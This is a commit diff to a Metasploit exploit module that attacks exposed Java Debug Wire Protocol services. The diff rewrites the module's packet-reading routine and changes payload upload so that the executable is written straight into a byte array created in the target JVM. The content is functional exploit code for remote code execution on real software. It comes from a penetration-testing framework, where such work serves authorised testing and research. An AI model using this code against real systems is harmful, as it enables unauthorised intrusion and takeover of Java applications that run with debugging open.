commit
2882374582
|
@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
SETSTATICVALUES_SIG = [3, 2]
|
SETSTATICVALUES_SIG = [3, 2]
|
||||||
INVOKESTATICMETHOD_SIG = [3, 3]
|
INVOKESTATICMETHOD_SIG = [3, 3]
|
||||||
CREATENEWINSTANCE_SIG = [3, 4]
|
CREATENEWINSTANCE_SIG = [3, 4]
|
||||||
|
ARRAYNEWINSTANCE_SIG = [4, 1]
|
||||||
REFERENCETYPE_SIG = [9, 1]
|
REFERENCETYPE_SIG = [9, 1]
|
||||||
INVOKEMETHOD_SIG = [9, 6]
|
INVOKEMETHOD_SIG = [9, 6]
|
||||||
STRINGVALUE_SIG = [10, 1]
|
STRINGVALUE_SIG = [10, 1]
|
||||||
|
@ -41,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
THREADSUSPEND_SIG = [11, 2]
|
THREADSUSPEND_SIG = [11, 2]
|
||||||
THREADRESUME_SIG = [11, 3]
|
THREADRESUME_SIG = [11, 3]
|
||||||
THREADSTATUS_SIG = [11, 4]
|
THREADSTATUS_SIG = [11, 4]
|
||||||
|
ARRAYSETVALUES_SIG = [13, 3]
|
||||||
EVENTSET_SIG = [15, 1]
|
EVENTSET_SIG = [15, 1]
|
||||||
EVENTCLEAR_SIG = [15, 2]
|
EVENTCLEAR_SIG = [15, 2]
|
||||||
EVENTCLEARALL_SIG = [15, 3]
|
EVENTCLEARALL_SIG = [15, 3]
|
||||||
|
@ -173,13 +175,30 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
# Reads packet response for JDWP protocol
|
# Reads packet response for JDWP protocol
|
||||||
def read_reply(timeout = default_timeout)
|
def read_reply(timeout = default_timeout)
|
||||||
response = sock.get_once(-1, timeout)
|
length = sock.get_once(4, timeout)
|
||||||
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
|
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length
|
||||||
pktlen, id, flags, errcode = response.unpack('NNCn')
|
pkt_len = length.unpack('N')[0]
|
||||||
response.slice!(0..10)
|
if pkt_len < 4
|
||||||
if errcode != 0 && flags == REPLY_PACKET_TYPE
|
fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
|
||||||
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}")
|
|
||||||
end
|
end
|
||||||
|
pkt_len = pkt_len - 4
|
||||||
|
|
||||||
|
response = sock.get_once(pkt_len, timeout)
|
||||||
|
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
|
||||||
|
while response.length < pkt_len
|
||||||
|
partial = sock.get_once(pkt_len, timeout)
|
||||||
|
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
|
||||||
|
response << partial
|
||||||
|
end
|
||||||
|
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length == pkt_len
|
||||||
|
|
||||||
|
id, flags, err_code = response.unpack('NCn')
|
||||||
|
response.slice!(0..6)
|
||||||
|
if err_code != 0 && flags == REPLY_PACKET_TYPE
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
|
||||||
|
end
|
||||||
|
|
||||||
response
|
response
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -322,10 +341,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
|
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
|
||||||
end
|
end
|
||||||
|
|
||||||
def is_java_eight
|
|
||||||
version.downcase =~ /1[.]8[.]/
|
|
||||||
end
|
|
||||||
|
|
||||||
# Returns reference for all threads currently running on target VM
|
# Returns reference for all threads currently running on target VM
|
||||||
def get_all_threads
|
def get_all_threads
|
||||||
sock.put(create_packet(ALLTHREADS_SIG))
|
sock.put(create_packet(ALLTHREADS_SIG))
|
||||||
|
@ -630,6 +645,36 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
buf
|
buf
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Creates a byte[]
|
||||||
|
def create_array(len)
|
||||||
|
target_class = get_class_by_name("[B")
|
||||||
|
fail_with(Failure::Unknown, "target_class is nil") if target_class.nil?
|
||||||
|
|
||||||
|
type_id = target_class["reftype_id"]
|
||||||
|
fail_with(Failure::Unknown, "type_id is nil") if type_id.nil?
|
||||||
|
|
||||||
|
data = format(@vars["referencetypeid_size"], type_id)
|
||||||
|
data << [len].pack('N')
|
||||||
|
|
||||||
|
sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))
|
||||||
|
buf = read_reply
|
||||||
|
buf
|
||||||
|
end
|
||||||
|
|
||||||
|
# Initializes the byte[] with values
|
||||||
|
def set_values(obj_id, args = [])
|
||||||
|
data = format(@vars["objectid_size"], obj_id)
|
||||||
|
data << [0].pack('N')
|
||||||
|
data << [args.length].pack('N')
|
||||||
|
|
||||||
|
args.each do |arg|
|
||||||
|
data << [arg].pack('C')
|
||||||
|
end
|
||||||
|
|
||||||
|
sock.put(create_packet(ARRAYSETVALUES_SIG, data))
|
||||||
|
read_reply
|
||||||
|
end
|
||||||
|
|
||||||
def temp_path
|
def temp_path
|
||||||
return nil unless datastore['TMP_PATH']
|
return nil unless datastore['TMP_PATH']
|
||||||
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
|
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
|
||||||
|
@ -709,43 +754,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# Stores the payload on a new string created in target VM
|
# Stores the payload on a new string created in target VM
|
||||||
def upload_payload(thread_id, pl_exe)
|
def upload_payload(thread_id, pl_exe)
|
||||||
size = @vars["objectid_size"]
|
size = @vars["objectid_size"]
|
||||||
if is_java_eight
|
|
||||||
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder")
|
|
||||||
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
|
|
||||||
else
|
|
||||||
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
|
|
||||||
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
|
|
||||||
end
|
|
||||||
unless buf[0] == [TAG_OBJECT].pack('C')
|
|
||||||
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
|
|
||||||
end
|
|
||||||
|
|
||||||
decoder = unformat(size, buf[1..1+size-1])
|
buf = create_array(pl_exe.length)
|
||||||
if decoder.nil? || decoder == 0
|
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C')
|
||||||
fail_with(Failure::Unknown, "Failed to create Base64 decoder object")
|
|
||||||
end
|
|
||||||
|
|
||||||
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
|
|
||||||
if cmd_obj_ids.length == 0
|
|
||||||
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
|
|
||||||
end
|
|
||||||
|
|
||||||
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
|
||||||
data = [TAG_OBJECT].pack('C')
|
|
||||||
data << format(size, cmd_obj_id)
|
|
||||||
data_array = [data]
|
|
||||||
|
|
||||||
if is_java_eight
|
|
||||||
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B")
|
|
||||||
else
|
|
||||||
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
|
|
||||||
end
|
|
||||||
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
|
|
||||||
unless buf[0] == [TAG_ARRAY].pack('C')
|
|
||||||
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray")
|
|
||||||
end
|
|
||||||
|
|
||||||
pl = unformat(size, buf[1..1+size-1])
|
pl = unformat(size, buf[1..1+size-1])
|
||||||
|
fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0)
|
||||||
|
|
||||||
|
set_values(pl, pl_exe.bytes)
|
||||||
pl
|
pl
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue